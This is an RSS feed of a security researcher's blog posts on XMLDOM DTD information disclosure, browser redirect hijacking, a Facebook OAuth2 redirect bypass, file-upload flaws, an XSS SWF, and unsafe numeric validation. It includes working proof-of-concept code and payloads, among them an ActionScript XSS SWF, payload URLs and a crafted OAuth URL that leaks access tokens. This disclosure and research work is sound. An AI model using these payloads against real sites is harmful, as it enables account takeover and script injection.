<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Soroush Dalili - Computer Security Is My Interest!</title>
	<atom:link href="http://soroush.secproject.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://soroush.secproject.com/blog</link>
	<description>Soroush Dalili&#039;s blog - بلاگ سروش دلیلی</description>
	<lastBuildDate>Thu, 25 Apr 2013 22:22:33 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Microsoft XMLDOM in IE can divulge information of local drive/network in error messages</title>
		<link>http://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/</link>
		<comments>http://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/#comments</comments>
		<pubDate>Thu, 25 Apr 2013 22:22:33 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[My Advisories]]></category>
		<category><![CDATA[Security Articles]]></category>
		<category><![CDATA[denial of service]]></category>
		<category><![CDATA[dtd]]></category>
		<category><![CDATA[information disclosure]]></category>
		<category><![CDATA[msxml]]></category>
		<category><![CDATA[xml injection]]></category>
		<category><![CDATA[xmldom]]></category>
		<category><![CDATA[xxe]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=714</guid>
		<description><![CDATA[While I was testing a XML Injection vulnerability, I became interested in the W3Schools DTD Validator example that can only work in IE: http://www.w3schools.com/dtd/dtd_validation.asp. As a result, after I finished my testing, I started playing with this Microsoft XMLDOM object to see if it is vulnerable. I created the following test case to manipulate the [...]]]></description>
				<content:encoded><![CDATA[<p>While I was testing a XML Injection vulnerability, I became interested in the W3Schools DTD Validator example that can only work in IE: <a href="http://www.w3schools.com/dtd/dtd_validation.asp">http://www.w3schools.com/dtd/dtd_validation.asp</a>. As a result, after I finished my testing, I started playing with this Microsoft XMLDOM object to see if it is vulnerable.</p>
<p>I created the following test case to manipulate the “$target$” value and validate it to see the results:</p>
<pre class="brush: jscript; title: ; notranslate">
validateXML('&lt;?xml version=&quot;1.0&quot; ?&gt;&lt;!DOCTYPE anything SYSTEM &quot;$target$&quot;&gt;')

function validateXML(txt) {
    // code for IE
    if (window.ActiveXObject) {
        var xmlDoc = new ActiveXObject(&quot;Microsoft.XMLDOM&quot;);
        xmlDoc.async = true;
        try {
            xmlDoc.loadXML(txt);
			if (xmlDoc.parseError.errorCode != 0) {
				var err;
				err = &quot;Error Code: &quot; + xmlDoc.parseError.errorCode + &quot;\n&quot;;
				err += &quot;Error Reason: &quot; + xmlDoc.parseError.reason;
				err += &quot;Error Line: &quot; + xmlDoc.parseError.line;
				alert(err);
				var errReason = xmlDoc.parseError.reason.toLowerCase();
				alert(errReason);
			} else {
                alert('No Error? Unknown!')
			}
        } catch (e) {
            alert(e);
        }

    } else {
        alert('you need to use IE')
    }
}

</pre>
<p style="text-align: justify;">You can see this JS in action via this link in IE: <a href="http://jsfiddle.net/ubqug/">http://jsfiddle.net/ubqug/</a></p>
<h4 style="text-align: justify;"><b>Detecting files in the C drive:</b></h4>
<p style="text-align: justify;">I tried different local file paths to see if I can include a file from the local file system. The results of the following test cases are the same – “Access is denied.”:</p>
<p style="text-align: justify;">$target$=file://c:/windows/system32/calc.exe</p>
<p style="text-align: justify;">$target$=file://c:/windows/system32/invalid.exe</p>
<p style="text-align: justify;">See this link: <a href="http://jsfiddle.net/ubqug/1/">http://jsfiddle.net/ubqug/1/</a></p>
<p style="text-align: justify;">I thought I might be able to use “\\localhost” or “\\127.0.0.1” instead of using “file” protocol:</p>
<p style="text-align: justify;">$target$ = \\127.0.0.1\c$\windows\system32\calc.exe</p>
<p style="text-align: justify;">$target$ = \\127.0.0.1\c$\windows\system32\invalid.exe</p>
<p style="text-align: justify;">The result was the same again; however, I did not receive an “access denied” error this time! See this link: <a href="http://jsfiddle.net/ubqug/2/">http://jsfiddle.net/ubqug/2/</a></p>
<p style="text-align: justify;">At this point, I used Sysinternals Suite Process Monitor to monitor the file system and I realised that in the previous example, it was looking for “c$” folder in the C drive!</p>
<p style="text-align: justify;">Therefore, I removed “c$” from my targets and ran the test again:</p>
<p style="text-align: justify;">$target$ = \\127.0.0.1\windows\system32\calc.exe</p>
<p style="text-align: justify;">$target$ = \\127.0.0.1\windows\system32\invalid.exe</p>
<p style="text-align: justify;">The result was promising as I received “Unspecified error” for the file that was available on my file system. See this: <a href="http://jsfiddle.net/ubqug/3/">http://jsfiddle.net/ubqug/3/</a></p>
<p style="text-align: justify;">So, I found my first bypass to detect available files on the C drive.</p>
<p style="text-align: justify;">I also found more vectors to find files on the C drive and it turned out that I can get the same result by using “file:\” and “file:\\localhost\” instead of “file:\\”! See this link: <a href="http://jsfiddle.net/ubqug/4/">http://jsfiddle.net/ubqug/4/</a></p>
<h4 style="text-align: justify;"><b>Detecting valid folders in C drive:</b></h4>
<p style="text-align: justify;">It was possible to find the valid folders on C drive by using the same technique as the error messages were a little bit different in case of having a valid or an invalid folder:</p>
<p style="text-align: justify;">$target$ = \\localhost\windows\</p>
<p style="text-align: justify;">$target$ = \\localhost\invalidfolder\</p>
<p style="text-align: justify;">Try it in: <a href="http://jsfiddle.net/ubqug/6/">http://jsfiddle.net/ubqug/6/</a> &#8211; in case of an invalid folder the message will be: “the system cannot locate the object …”. When a folder is valid we will have: “the system cannot find the path …”</p>
<p style="text-align: justify;">I also found out if I use NTFS ADS (Alternate Data Streams) that are related to files and not the directories such as “::$DATA” I would receive different error messages to detect the valid folders (“access denied” versus the “the system cannot locate the object …”):</p>
<p style="text-align: justify;">$target$ = \\localhost\windows::$DATA</p>
<p style="text-align: justify;">$target$ = \\localhost\invalidfolder::$DATA</p>
<p style="text-align: justify;">See the result in this link: <a href="http://jsfiddle.net/ubqug/7/">http://jsfiddle.net/ubqug/7/</a></p>
<h4 style="text-align: justify;"><b>Detecting files and directories in all drives:</b></h4>
<p style="text-align: justify;">At this point during my testing, I had a limitation and I could not detect my files in any drive other than the C drive by using the previous vectors. Vectors like “file:/e:/” or “\\localhost\e$” did not work.</p>
<p style="text-align: justify;">I solved this problem by using “res://” protocol (<a href="http://msdn.microsoft.com/en-us/library/aa767740(v=vs.85).aspx">http://msdn.microsoft.com/en-us/library/aa767740(v=vs.85).aspx</a>) and I received different error messages by pointing to the files or folders.</p>
<p style="text-align: justify;">$target$ = res://d:\validfile.txt</p>
<p style="text-align: justify;">$target$ = res://d:\invalidfile.txt</p>
<p style="text-align: justify;">See the results here (you need to create the “validfile.txt” file in your D drive or change the path): <a href="http://jsfiddle.net/ubqug/5/">http://jsfiddle.net/ubqug/5/</a></p>
<h4 style="text-align: justify;"><b>Detecting available drives:</b></h4>
<p style="text-align: justify;">In order to make the results more accurate, I had to find the available drive letters on the box. Unfortunately “res://” protocol was not helpful in this case and I had to use another solution. The solution that I found was in fact very easy. I could use the drive letters directly; if the drive letter is available, the error message would be “access denied” and when it is not available, the error message changes to “the system cannot find the path specified”:</p>
<p style="text-align: justify;">$target$ = c:\</p>
<p style="text-align: justify;">$target$ = invalid:\</p>
<p style="text-align: justify;">See the results in <a href="http://jsfiddle.net/ubqug/8/">http://jsfiddle.net/ubqug/8/</a></p>
<h4 style="text-align: justify;"><b>Detecting available Windows internal network addresses or internal websites:</b></h4>
<p style="text-align: justify;">During my tests, I realised that I can send http request to local sites or IP addresses, and I can point to network shares as well. In this case, it would give me an error immediately if the target was valid. However, it could take between 10 to 60 seconds to come back with an error when it could not receive a response from the target! I used this technique to detect valid local IP/Name addresses. However, as it does take a long time to identify an invalid target, it is not appropriate for scanning.</p>
<h4 style="text-align: justify;"><b>Denial of Service:</b></h4>
<p style="text-align: justify;">Like many other DTD parsers, XMLDOM object was also vulnerable to denial of service. I did not even try hard to find the issue and I used an example in the following link from MSDN Magazine:</p>
<p style="text-align: justify;"><a href="http://msdn.microsoft.com/en-us/magazine/ee335713.aspx">http://msdn.microsoft.com/en-us/magazine/ee335713.aspx</a></p>
<h4 style="text-align: justify;"><b>Summary:</b></h4>
<p style="text-align: justify;">I have created a <strong>PoC page</strong> to test the above techniques in one page which can be found via: <a title="PoC" href="http://0me.me/demo/IE/dtdTest.html" target="_blank">http://0me.me/demo/IE/dtdTest.html</a></p>
<p style="text-align: justify;">I also searched in Google and I found out that the general topic of these issues have been mentioned in the following link from Microsoft:</p>
<p style="text-align: justify;"> <a href="http://msdn.microsoft.com/en-gb/library/windows/desktop/ms754611(v=vs.85).aspx">http://msdn.microsoft.com/en-gb/library/windows/desktop/ms754611(v=vs.85).aspx</a></p>
<p style="text-align: justify;">See the “Threats and Mitigation” section in the link above.</p>
<p style="text-align: justify;">At the moment this issue is a client side issue and only works in IE. I published it as the impacts are low (limited information disclosure vulnerability) and you cannot read the file contents with the vectors that I have found (only worthless local DTD files are partially readable). However, this research can be very valuable to people who are looking for the new vectors in finding/exploiting XML vulnerabilities (for example in Java – I do not have time to test this at the moment) &#8211; obviously in legal and legitimate research/pentest projects ;)</p>
<p style="text-align: justify;"><strong>Once again, the PoC page is: <a title="PoC" href="http://0me.me/demo/IE/dtdTest.html" target="_blank">http://0me.me/demo/IE/dtdTest.html</a></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2013/04/microsoft-xmldom-in-ie-can-divulge-information-of-local-drivenetwork-in-error-messages/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IE/Firefox Redirection Issue &#8211; FB Oauth2 Bypass &#8211; BugCrowd</title>
		<link>http://soroush.secproject.com/blog/2013/03/iefirefox-redirection-issue-fb-oauth2-bypass-bugcrowd/</link>
		<comments>http://soroush.secproject.com/blog/2013/03/iefirefox-redirection-issue-fb-oauth2-bypass-bugcrowd/#comments</comments>
		<pubDate>Mon, 18 Mar 2013 21:23:17 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[My Advisories]]></category>
		<category><![CDATA[Normal Posts]]></category>
		<category><![CDATA[Security Articles]]></category>
		<category><![CDATA[Security Posts]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=702</guid>
		<description><![CDATA[To keep a record of the little things I have done since my last blog post: 1- IE/Firefox &#8211; Page Redirection Hijack Several weeks ago, I reported an interesting PoC via my Twitter in which I had created a web page that stops Firefox and IE browsers to redirect users to their intended destination even if [...]]]></description>
				<content:encoded><![CDATA[<p>To keep a record of the little things I have done since my last blog post:</p>
<h2>1- IE/Firefox &#8211; Page Redirection Hijack</h2>
<p>Several weeks ago, I reported an interesting PoC via my Twitter in which I had created a web page that stops Firefox and IE browsers to redirect users to their intended destination even if they had typed it directly in the address bar: <a href="https://twitter.com/irsdl/status/294239415428067329" target="_blank">https://twitter.com/irsdl/status/294239415428067329</a></p>
<p>This issue is still unpatched in the latest versions of these browsers (March 2013). Unfortunately, some advert companies are currently exploiting this issue as well. I have already reported it to Mozilla: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=839470" target="_blank">https://bugzilla.mozilla.org/show_bug.cgi?id=839470</a></p>
<p>Example 1: <strong>No Redirection Ever</strong>: <a href="http://0me.me/demo/mozilla/firefox/UnRedirectablePage.html" target="_blank">http://0me.me/demo/mozilla/firefox/UnRedirectablePage.html</a></p>
<p>Here is the Javascript code that does this:</p>
<pre class="brush: plain; title: ; notranslate">
window.onbeforeunload = function(){

      //Unredirectable Page

      setTimeout(&quot;window.location=document.location;alert('delay by alert');&quot;,0);

}
</pre>
<p>Example 2: <strong>This always redirects you to secproject.com</strong>:   <a href="http://0me.me/demo/mozilla/firefox/RedirectToSecProject.html" target="_blank">http://0me.me/demo/mozilla/firefox/RedirectToSecProject.html</a></p>
<p>Here is the Javascript code that does this:</p>
<pre class="brush: plain; title: ; notranslate">
window.onbeforeunload = function(){

//Unredirectable Page

setTimeout(&quot;window.location='http://www.secproject.com';alert('delay by alert');&quot;,0);

}
</pre>
<h2></h2>
<h2>2- Facebook OAuth2 Bypass</h2>
<p>Facebook OAuth2 yet another redirection bypass! I only found one issue which was very similar to what Nir Goldshlager (<a href="http://www.nirgoldshlager.com" target="_blank">www.nirgoldshlager.com</a>) and Egor Homakov (<a href="http://homakov.blogspot.co.uk" target="_blank">homakov.blogspot.co.uk</a>) had reported to Facebook. I highly recommend their blog posts about Facebook Oauth2 for reading and learning!</p>
<p>Here is what I have found in Facebook:</p>
<p>The following URL could send your sessions to attacker’s domain and he could hijack your OAuth token: <a href="https://www.facebook.com/dialog/oauth?client_id=210831918949520&amp;response_type=token&amp;scope=,,,,&amp;redirect_uri=https://apps.facebook.com/candycrush1//////////%23/testrdirsdl/%2523" target="_blank">Link</a></p>
<pre class="brush: plain; title: ; notranslate">

https://www.facebook.com/dialog/oauth?client_id=210831918949520&#038;response_type=token&#038;scope=,,,,&#038;redirect_uri=https://apps.facebook.com/candycrush1//////////%23/testrdirsdl/%2523

</pre>
<p>It used to work in all the browsers. However, you needed to find an authorised Facebook app in order to be able to exploit this issue.</p>
<p>A short description:</p>
<p>- “/////” in the URL <strong>-&gt;</strong> to bypass IE problem with Facebook redirection</p>
<p>- “candycrush1” <strong>-&gt;</strong> to redirect the user to a normal user page instead of candycrush game! “https://apps.facebook.com/candy.crush1” takes you to a user page instead of an App!</p>
<p>- “%2523” and “%23”<strong> -&gt;</strong> to remove # in the final URL and send the token directly in the URL.</p>
<p>The result of loading that URL was:</p>
<p>http://apps.facebook.com/testrdirsdl/&#038;access_token=BlahBlahBlah&#038;expires_in=5033</p>
<p>in which “testrdirsdl” is my app that can store the tokens in “http://www.secproject.com/demo/showmyinfo.php” (it does not have logging functionality at the moment!)</p>
<h2>3- BugCrowd!</h2>
<p>I attended several <a href="http://BugCrowd.com" target="_blank">BugCrowd.com</a> bounties and gladly received $$$ for private and public bounties! I liked the charity ones as well :-)</p>
<p>If you want to test live and different websites without having legal obligations (well, I hope they can provide us with a signed document per project very soon!), it is the right place. I recommend it to the people who want to have fun and increase their web app. security testing skills.</p>
<p>Unfortunately, the recent bounties from BugCrowd did not have fair prizes and I guess it is because of the companies budgets. Moreover, we still need them to come up with the hall of fame table! As soon as they sort these out, I will become more interested!</p>
<p><strong>That’s it for now. Thanks for your time.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2013/03/iefirefox-redirection-issue-fb-oauth2-bypass-bugcrowd/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>File in the hole! – HackPra slides</title>
		<link>http://soroush.secproject.com/blog/2012/11/file-in-the-hole/</link>
		<comments>http://soroush.secproject.com/blog/2012/11/file-in-the-hole/#comments</comments>
		<pubDate>Tue, 27 Nov 2012 21:41:47 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[My Advisories]]></category>
		<category><![CDATA[Security Articles]]></category>
		<category><![CDATA[CKFinder]]></category>
		<category><![CDATA[FCKEditor]]></category>
		<category><![CDATA[File in the hole]]></category>
		<category><![CDATA[file upload]]></category>
		<category><![CDATA[file upload vulnerabilities]]></category>
		<category><![CDATA[file uploader bypass methods]]></category>
		<category><![CDATA[file uploader security bypass]]></category>
		<category><![CDATA[Filevista]]></category>
		<category><![CDATA[Hackpra]]></category>
		<category><![CDATA[Unrestricted File Download]]></category>
		<category><![CDATA[Unrestricted File Upload]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=690</guid>
		<description><![CDATA[Last week, I had a talk in Bochum University about file upload vulnerabilities. I am going to share the slides and clips with you as they are already public via HackPra website: http://www.nds.ruhr-uni-bochum.de/teaching/hackpra/ I have been told that the video will be available soon as well. I really recommend that you see the other talks [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Last week, I had a talk in Bochum University about file upload vulnerabilities. I am going to share the slides and clips with you as they are already public via <a href="http://www.nds.ruhr-uni-bochum.de/teaching/hackpra/" target="_blank">HackPra</a> website:</p>
<p style="text-align: justify;"><a href="http://www.nds.ruhr-uni-bochum.de/teaching/hackpra/" target="_blank">http://www.nds.ruhr-uni-bochum.de/teaching/hackpra/</a></p>
<p style="text-align: justify;">I have been told that the video will be available soon as well. I really recommend that you see the other talks in that website too.</p>
<p style="text-align: justify;">Here are my slides in different formats:</p>
<p style="text-align: justify;"><strong><a href="http://soroush.secproject.com/downloadable/File%20in%20the%20hole!.pptx" target="_blank">Download the Power Point format</a></strong></p>
<p style="text-align: justify;"><strong><a href="http://soroush.secproject.com/downloadable/File%20in%20the%20hole!.pdf" target="_blank">Download the PDF format</a></strong></p>
<p style="text-align: justify;">In this talk, I had revealed some 0days as examples (vendors already know about these issues):</p>
<p style="text-align: justify;">- <strong>File Upload Protection bypass in FCKEditor 2.6.8 ASP version</strong> (Mostafa Azizi, Soroush Dalili) [Page 53 of Power Point file]</p>
<p style="text-align: justify;">- <strong>Denial of Service issue in FCKEditor 2.6.8/CKFinder 2.3</strong> (Soroush Dalili) [Page 54 of Power Point file]</p>
<p style="text-align: justify;">- <strong>Directory Traversal in GleamTech Filevista</strong> (Soroush Dalili) [Page 22 of Power Point file]</p>
<p style="text-align: justify;">You may be able to find similar issues in other web applications that have file upload functionality by using some of these methods.</p>
<p style="text-align: justify;">&#8212;&#8211;</p>
<p style="text-align: justify;"><strong>Note: Quick patch for FCKEditor 2.6.8 File Upload Bypass:</strong></p>
<p>In &#8220;config.asp&#8221;, wherever you have:</p>
<p><em>      ConfigAllowedExtensions.Add    &#8220;File&#8221;,&#8221;Extensions Here&#8221;</em></p>
<p>Change it to:</p>
<p><em>      ConfigAllowedExtensions.Add    &#8220;File&#8221;,&#8221;^(Extensions Here)$&#8221;</em></p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2012/11/file-in-the-hole/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>XSS by uploading/including a SWF file</title>
		<link>http://soroush.secproject.com/blog/2012/11/xss-by-uploadingincluding-a-swf-file/</link>
		<comments>http://soroush.secproject.com/blog/2012/11/xss-by-uploadingincluding-a-swf-file/#comments</comments>
		<pubDate>Mon, 12 Nov 2012 19:06:00 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[Security Articles]]></category>
		<category><![CDATA[Security Posts]]></category>
		<category><![CDATA[ExternalInterface]]></category>
		<category><![CDATA[ExternalInterface.call]]></category>
		<category><![CDATA[file upload XSS]]></category>
		<category><![CDATA[SWF file upload XSS]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[XSS by SWF]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=676</guid>
		<description><![CDATA[As you may already know, it is possible to make a website vulnerable to XSS if you can upload/include a SWF file into that website. I am going to represent this SWF file that you can use in your PoCs. This method is based on [1] and [2], and it has been tested in Google [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">As you may already know, it is possible to make a website vulnerable to XSS if you can upload/include a SWF file into that website. I am going to represent this SWF file that you can use in your PoCs.</p>
<p style="text-align: justify;">This method is based on [1] and [2], and it has been tested in Google Chrome, Mozilla Firefox, IE9/8; there should not be any problem with other browsers either.</p>
<p style="text-align: justify;">Note: IE has a protection to make the “document” object inaccessible when you open a SWF directly in a browser. I have bypassed IE8 protection by using a simple redirection in Javascript. I have also found a noisy way to bypass IE9 protection by opening a new window (you may be able to do it in a less noisy way – please leave your comments if you know any other bypass method).</p>
<p style="text-align: justify;">Here is the actionscript code:</p>
<pre class="brush: php; title: ; notranslate">
package
{
	import flash.display.Sprite;
	import flash.external.*;
	import flash.system.System;
	public class XSSProject extends Sprite
	{
		public function XSSProject()
		{
			flash.system.Security.allowDomain(&quot;*&quot;);
			ExternalInterface.marshallExceptions = true;
			try {
				ExternalInterface.call(&quot;0);}catch(e){};&quot;+root.loaderInfo.parameters.js+&quot;///*PoC by Soroush Dalili @IRSDL - only for testing/educational purposes - He accepts no responsibility for any bad/malicious usage*/&quot;);
			} catch(e:Error) {
				trace(e);
			}
		}
	}
}

</pre>
<p>Compiled file is accessbile via: <a title="http://0me.me/demo/xss/xssproject.swf" href="http://0me.me/demo/xss/xssproject.swf" target="_blank">http://0me.me/demo/xss/xssproject.swf</a></p>
<p>Examples:</p>
<p>Browsers other than IE: <a title="http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);" href="http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);" target="_blank">http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);</a></p>
<p>IE8: <a title="http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open('?js=history.go(-1)','_self');}" href="http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open('?js=history.go(-1)','_self');}" target="_blank">http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(&#8216;?js=history.go(-1)&#8217;,'_self&#8217;);}</a></p>
<p>IE9: <a title="http://0me.me/demo/xss/xssproject.swf?js=w=window.open('invalidfileinvalidfileinvalidfile','target');setTimeout('alert(w.document.location);w.close();',1);" href="http://0me.me/demo/xss/xssproject.swf?js=w=window.open('invalidfileinvalidfileinvalidfile','target');setTimeout('alert(w.document.location);w.close();',1);" target="_blank">http://0me.me/demo/xss/xssproject.swf?js=w=window.open(&#8216;invalidfileinvalidfileinvalidfile&#8217;,'target&#8217;);setTimeout(&#8216;alert(w.document.location);w.close();&#8217;,1);</a></p>
<p>References:</p>
<p>[1] The other reason to beware ExternalInterface.call() (URL: <a title="http://lcamtuf.blogspot.co.uk/2011/03/other-reason-to-beware-of.html" href="http://lcamtuf.blogspot.co.uk/2011/03/other-reason-to-beware-of.html" target="_blank">http://lcamtuf.blogspot.co.uk/2011/03/other-reason-to-beware-of.html</a>)</p>
<p>[2] Flash ExternalInterface.call() JavaScript Injection – can make the websites vulnerable to XSS (URL: <a title="Flash ExternalInterface.call() JavaScript Injection – can make the websites vulnerable to XSS" href="http://soroush.secproject.com/blog/2011/03/flash-externalinterface-call-javascript-injection-%e2%80%93-can-make-the-websites-vulnerable-to-xss/" target="_blank">http://soroush.secproject.com/blog/2011/03/flash-externalinterface-call-javascript-injection-%E2%80%93-can-make-the-websites-vulnerable-to-xss/</a>)</p>
]]></content:encoded>
			<wfw:commentRss>http://soroush.secproject.com/blog/2012/11/xss-by-uploadingincluding-a-swf-file/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Don’t trust a string based on TryParse or IsNumeric result! (.Net/VBScript)</title>
		<link>http://soroush.secproject.com/blog/2012/10/dont-trust-a-string-based-on-tryparse-or-isnumeric-result-netvbscript/</link>
		<comments>http://soroush.secproject.com/blog/2012/10/dont-trust-a-string-based-on-tryparse-or-isnumeric-result-netvbscript/#comments</comments>
		<pubDate>Wed, 17 Oct 2012 23:42:39 +0000</pubDate>
		<dc:creator>Soroush Dalili</dc:creator>
				<category><![CDATA[Security Articles]]></category>
		<category><![CDATA[isnumeric]]></category>
		<category><![CDATA[number validation]]></category>
		<category><![CDATA[tryparse]]></category>

		<guid isPermaLink="false">http://soroush.secproject.com/blog/?p=651</guid>
		<description><![CDATA[According to MSDN, “IsNumeric returns a Boolean value indicating whether an expression can be evaluated as a number”, and (Numerical Datatype).TryParse converts the string representation of a number to its relevant numerical equivalent. A return Boolean value indicates whether the conversion succeeded or failed. I have seen several cases where the developers were using TryParse [...]]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">According to MSDN, “<em>IsNumeric</em> returns a Boolean value indicating whether an expression can be evaluated as a number”, and <em>(Numerical Datatype).TryParse</em> converts the string representation of a number to its relevant numerical equivalent. A return Boolean value indicates whether the conversion succeeded or failed.</p>
<p style="text-align: justify;">I have seen several cases where the developers were using TryParse or isNumeric only for validation, and they were not using a numeric variable at all; however, this could still cause functional and/or security issues in certain cases.</p>
<h2>What is wrong with TryParse or IsNumeric then?!</h2>
<p style="text-align: justify;">There is nothing wrong with these functions if they are used correctly. In fact, these functions should not be used for validation only; they tell us if we can convert a string to its numerical format, and therefore, we can use a proper numerical variable instead of the string.</p>
<p style="text-align: justify;">However, <em>(numerical Datatype).TryParse</em> is more useful than <em>IsNumeric</em> and can create the numerical equivalent as an output which can be used safely afterwards; it can also accept the permitted format(s) and the required culture format.</p>
<h2>When can it go wrong?</h2>
<p style="text-align: justify;">From TryParse or IsNumeric point of view, a string can still be numeric even if it has some control characters or it follows a specific format as it can still be converted to a number. Therefore, the original string can be completely different in length and format from its equivalent numeric value. Now, if you use the original string when the results of these functions are true, we may have issues based on the destination system that uses them and trusts your validation. In real examples, I have seen a denial of service because of having a Null character in a serialized XML in the memory, or a denial of service because of sending a long string to a C++ component which did not have any validation and trusted the provided data.</p>
<p>The following table shows several test cases that can be combined as well (I have used URLEncoded values for the space and control characters):</p>
<style>
table.numerictbl td{
 word-wrap: break-word;
 border-style: solid;
 border-width: 1px;
}
</style>
<table class="numerictbl" border="1" cellspacing="0" cellpadding="0" style="table-layout: fixed; width: 100%;border-width: 1px;border-style: solid;">
<tr>
<td valign="top" width="100"><strong>String</strong></td>
<td valign="top" width="95"><strong>IsNumeric?</strong></td>
<td valign="top" width="135"><strong>Double.TryParse?</strong></td>
<td valign="top" width="90"><strong>Converted Number</strong></td>
<td valign="top" width="170"><strong>Comment(s)</strong></td>
</tr>
<tr>
<td valign="top"><strong>001.0000</strong></td>
<td valign="top">True</td>
<td valign="top">True</td>
<td valign="top">1</td>
<td valign="top">decimal symbol based on the regional settings of the server</td>
</tr>
<tr>
<td valign="top"><strong>$10</strong></td>
<td valign="top">True</td>
<td valign="top">False</td>
<td valign="top">10</td>
<td valign="top">Currency symbol based on the regional settings of the server.</td>
</tr>
<tr>
<td valign="top"><strong>1,,2,,,3,,</strong></td>
<td valign="top">True</td>
<td valign="top">True</td>
<td valign="top">123</td>
<td valign="top">Digit grouping symbol based on the regional settings of the server. Can be created by HPP too.</td>
</tr>
<tr>
<td valign="top"><strong>-10.0</strong></td>
<td valign="top">True</td>
<td valign="top">True</td>
<td valign="top">-10</td>
<td valign="top">Negative symbol based on the regional settings of the server. It could be a positive sign.</td>
</tr>
<tr>
<td valign="top"><strong>(10)</strong></td>
<td valign="top">True</td>
<td valign="top">False</td>
<td valign="top">-10</td>
<td valign="top">Negative symbol based on the regional settings of the server.</td>
</tr>
<tr>
<td valign="top"><strong>10-</strong></td>
<td valign="top">True</td>
<td valign="top">False</td>
<td valign="top">-10</td>
<td valign="top">Negative symbol based on the regional settings of the server. It could be a positive sign.</td>
</tr>
<tr>
<td valign="top"><strong>1e2</strong></td>
<td valign="top">True</td>
<td valign="top">True</td>
<td valign="top">100</td>
<td valign="top">String length can be less than the number’s length</td>
</tr>
<tr>
<td valign="top"><strong>%20%091</strong></td>
<td valign="top">True</td>
<td valign="top">True</td>
<td valign="top">1</td>
<td valign="top">Space characters (09-0D and 20)</td>
</tr>
<tr>
<td valign="top"><strong>1%20%00%00</strong></td>
<td valign="top">True</td>
<td valign="top">True</td>
<td valign="top">1</td>
<td valign="top">Space characters (09-0D and 20) followed by Null Character(s)</td>
</tr>
<tr>
<td valign="top"><strong>%26hff</strong></td>
<td valign="top">True</td>
<td valign="top">False</td>
<td valign="top">255</td>
<td valign="top">&amp;h and &amp;o can be used in VBScript to represent a number in Hex or Octal.</td>
</tr>
<tr>
<td valign="top"><strong>%0B%09%20-0001,,,,2.8e0002%09%20%0C%00%00</strong></td>
<td valign="top">True</td>
<td valign="top">True</td>
<td valign="top">-1280</td>
<td valign="top">A combination</td>
</tr>
<tr>
<td valign="top"><strong>%0B$%09%20(0001,,,,2.8e0002%09%20)%0C%00%00</strong></td>
<td valign="top">True</td>
<td valign="top">False</td>
<td valign="top">-1280</td>
<td valign="top">Another combination</td>
</tr>
</table>
<p>You can try IsNumeric function by using the following link:</p>
<p><a href="http://sdl.me/NumericTest/IsNumericTester.ashx?input=1" target="_blank">http://sdl.me/NumericTest/IsNumericTester.ashx?input=1</a></p>
<p>Source Code: <a href="http://sdl.me/NumericTest/IsNumericTester.ashx.vb.txt" target="_blank">http://sdl.me/NumericTest/IsNumericTester.ashx.vb.txt</a></p>
<p>You can try Double.TryParse function by using the following link:</p>
<p><a href="http://sdl.me/NumericTest/DoubleTryParseTester.ashx?input=1" target="_blank">http://sdl.me/NumericTest/DoubleTryParseTester.ashx?input=1</a></p>
<p>Source code: <a href="http://sdl.me/NumericTest/DoubleTryParseTester.ashx.cs.txt" target="_blank">http://sdl.me/NumericTest/DoubleTryParseTester.ashx.cs.txt</a></p>
<h2>Solution?</h2>
<p style="text-align: justify;">In .Net, <em>(Numeric Data Type).TryParse</em> automatically updates the relevant numeric variable for you that can be used later; it also accepts permitted format(s) and the required culture format of the input which is highly recommended to be used when you are looking for a specific format.</p>
<p style="text-align: justify;">Example:</p>
<p style="text-align: justify;"><a href="http://sdl.me/NumericTest/SafeDoubleTryParseTester.ashx?input=1" target="_blank">http://sdl.me/NumericTest/SafeDoubleTryParseTester.ashx?input=1</a></p>
<p style="text-align: justify;">Source code: <a href="http://sdl.me/NumericTest/SafeDoubleTryParseTester.ashx.cs.txt" target="_blank">http://sdl.me/NumericTest/SafeDoubleTryParseTester.ashx.cs.txt</a></p>
